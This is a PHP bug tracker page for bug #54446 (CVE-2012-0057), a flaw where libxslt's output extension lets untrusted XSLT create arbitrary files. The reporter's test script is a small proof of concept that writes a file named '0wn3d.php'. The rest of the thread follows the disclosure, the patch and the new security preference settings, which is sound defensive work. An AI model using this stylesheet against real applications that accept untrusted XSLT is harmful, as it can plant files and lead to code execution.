php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #54446 Arbitrary file creation via libxslt 'output' extension
Submitted: 2011-04-01 17:09 UTC Modified: 2012-01-18 17:09 UTC
From: nicolas dot gregoire at agarri dot fr Assigned: chregu (profile)
Status: Closed Package: XSLT related
PHP Version: 5.3.6 OS: All
Private report: No CVE-ID: 2012-0057
 [2011-04-01 17:09 UTC] nicolas dot gregoire at agarri dot fr
Description:
------------
Current version of PHP5 allow creation of arbitrary files when processing XSLT content. This was tested on the following releases :
- PHP 5.3.2-1ubuntu4.7 with Suhosin-Patch (cli) (built: Jan 12 2011 18:36:08) 
- PHP 5.3.6 (cli) (built: Apr  1 2011 11:26:17)

The problem lies in the unrestricted use of libxslt. The attached patch will forbid some operations like the creation of files or directories, by calling the libxslt security API.



Test script:
---------------
<?php 

$sXml = '<xml><foo>Hello from XML</foo></xml>';
 
$sXsl = <<<EOT
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:sax="http://icl.com/saxon"
	extension-element-prefixes="sax">

	<xsl:template match="//foo">
		<sax:output href="0wn3d.php" method="text">
			<xsl:value-of select="'0wn3d via PHP and libxslt ...'"/>
			<xsl:apply-templates/>
		</sax:output>
	</xsl:template>

</xsl:stylesheet>
EOT;

# LOAD XML FILE 
$XML = new DOMDocument(); 
$XML->loadXML( $sXml ); 

# LOAD XSLT FILE 
$XSL = new DOMDocument(); 
$XSL->loadXML( $sXsl );

# START XSLT 
$xslt = new XSLTProcessor(); 
$xslt->importStylesheet( $XSL ); 

# TRASNFORM & PRINT 
print $xslt->transformToXML( $XML ); 

?>

Expected result:
----------------
File isn't created and PHP displays some warnings :

Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): File write for 0wn3d.php refused in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): runtime error: file /somewhere/ line 7 element output in /somewhere/simple_xslt.php on line 34
Warning: XSLTProcessor::transformToXml(): xsltDocumentElem: write rights for 0wn3d.php denied in /somewhere/simple_xslt.php on line 34


Actual result:
--------------
File '0wn3d.php' is created


Patches

libxslt_54446_2 (last revision 2011-04-18 10:01 UTC by [email protected])
libxslt_54446.patch (last revision 2011-04-03 22:35 UTC by [email protected])

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2011-04-04 00:21 UTC] [email protected]
> he attached patch will forbid some operations

You seem to have forgotten to attach it.
 [2011-04-04 00:35 UTC] [email protected]
The following patch has been added/updated:

Patch Name: libxslt_54446.patch
Revision:   1301870138
URL:        http://bugs.php.net/patch-display.php?bug=54446&patch=libxslt_54446.patch&revision=1301870138
 [2011-04-04 00:36 UTC] [email protected]
I've attached the patch the reporter has sent me by e-mail.
 [2011-04-16 16:33 UTC] [email protected]
-Status: Open +Status: Assigned -Assigned To: +Assigned To: chregu
 [2011-04-16 16:33 UTC] [email protected]
1) I can't add anything to ticket #54446, even if my password allows me
to read it, so I used security@
2) The ticket actually includes a test case and a patch
3) This is clearly a backwards incompatible change
4) You may decide to restrict READ_FILE and READ_NETWORK too
5) You may want to make this behavior configurable (accept nothing,
accept read-only, accept read/write)
6) Actually, it is trivial to get code execution on any PHP application
accepting untrusted XSLT
7) This bug will be publicly disclosed in June, and I hope that a patch
will be released before
 [2011-04-18 07:47 UTC] [email protected]
This is basically a well known feature, you can write files with XSLT since "forever", it's IMHO perfectly in the boundaries of what it's supposed to do and not a "newly found security" hole.

But I guess even I didn't always clean untrusted XSLT properly for all the possible cases. That's why I think it's a good thing to disable write-access for XSLT by default. Not many are using that feature. I'll try to come up with something for added protection.

PS. We should disable write access for SQL by default, too, it's the same line of thought ;) </sarcasm>
 [2011-04-18 12:01 UTC] [email protected]
The following patch has been added/updated:

Patch Name: libxslt_54446_2
Revision:   1303120896
URL:        http://bugs.php.net/patch-display.php?bug=54446&patch=libxslt_54446_2&revision=1303120896
 [2011-04-18 12:02 UTC] [email protected]
Added a new patch with 2 new methods:

setSecurityPrefs and getSecurityPrefs

default is

 XSL_SECPREF_WRITE_FILE |  XSL_SECPREF_WRITE_NETWORK | XSL_SECPREF_CREATE_DIRECTORY;

please review
 [2011-04-28 16:57 UTC] nicolas dot gregoire at agarri dot fr
I just tested your patch against my test script and it successfully blocked the file creation attempt. Tested too the two configuration methods.

OK for me ...
 [2011-05-17 15:56 UTC] [email protected]
I'll commit the page in the next few days. will be on holiday next week
 [2011-06-04 15:53 UTC] nicolas dot gregoire at agarri dot fr
When will the patch be committed ?
 [2011-06-08 13:44 UTC] [email protected]
The patch should be committed soon. We have a problem for the 5.3 branch since it changes a struct and therefore breaks binary compatibility. I don't have a solution for that now.
 [2011-07-03 18:58 UTC] [email protected]
Christian, can you commit it for 5.4+?
 [2011-07-07 08:56 UTC] [email protected]
It's on my personal todo since weeks. I'll try to do it in the next few days (have to write a decent NEWS entry mainly)
 [2011-07-11 07:18 UTC] [email protected]
-Status: Assigned +Status: To be documented -Assigned To: chregu +Assigned To:
 [2011-07-11 07:18 UTC] [email protected]
This is now fixed in trunk and therefore 5.4
 [2011-07-12 00:58 UTC] [email protected]
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=313160
Log: Added XsltProcessor::setSecurityPrefs($options) and getSecurityPrefs()
to define forbidden operations within XSLT stylesheets, default is not to
enable any write operations from XSLT anymore. Bug #54446

(second iteration of the code for trunk, first commit for 5.4 branch)
 [2011-09-12 12:44 UTC] [email protected]
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=316530
Log: Added test for XSL bug 54446
 [2011-10-05 09:55 UTC] [email protected]
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=317759
Log: Added xsl.security_prefs ini option to define forbidden operations within XSLT
stylesheets, default is not to enable write operations. This option won't be
in 5.4, since there's a new method. Bug #54446
 [2011-10-05 18:11 UTC] [email protected]
Automatic comment from SVN on behalf of chregu
Revision: http://svn.php.net/viewvc/?view=revision&amp;revision=317801
Log: Added test for Bug 54446
Init a variable to a default value to avoid issues
 [2011-10-11 05:09 UTC] [email protected]
-Status: To be documented +Status: Closed -Assigned To: +Assigned To: chregu
 [2011-10-11 05:09 UTC] [email protected]
It's now als in the PHP 5.3.x branch (will be in 5.3.9). We couldn't use the same approach as in PHP 5.4 due to ABI compatibility problems. We had to introduce an ini option. Here's a code example, which works in 5.3 (actually anything >= 5.0) and 5.4 for writing from within XSLT. 


***
$xsl = new XSLTProcessor();

//if you want to write from within the XSLT
if (version_compare(PHP_VERSION,'5.4',"<")) {
    $oldval = ini_set("xsl.security_prefs",XSL_SECPREFS_NONE);
} else {
    $oldval = $xsl->setSecurityPreferences(XSL_SECPREFS_NONE);
}

$xsl->transformToXml(...);

//go back to the old setting. Better safe than sorry
if (version_compare(PHP_VERSION,'5.4',"<")) {
    ini_set("xsl.security_prefs",$oldval);
} else {
    $xsl->setSecurityPreferences($oldval);
    //or just do
    // $xsl = null;
    // to get away of this object
}
 [2011-10-11 05:18 UTC] [email protected]
-Status: Closed +Status: To be documented
 [2011-10-11 05:18 UTC] [email protected]
This bug has been fixed in SVN.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.


 [2011-10-13 23:00 UTC] [email protected]
-Status: Open +Status: Closed
 [2012-01-18 17:09 UTC] [email protected]
-CVE-ID: +CVE-ID: 2012-0057
 [2012-01-31 15:57 UTC] daniel at dnaielcraig dot me
Since the fix for this came through debian repos (today) i'm getting the error:
Warning: XSLTProcessor::transformToXml(): Can't set libxslt security properties, not doing transformation for security reasons
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Sat Jun 14 13:01:34 2025 UTC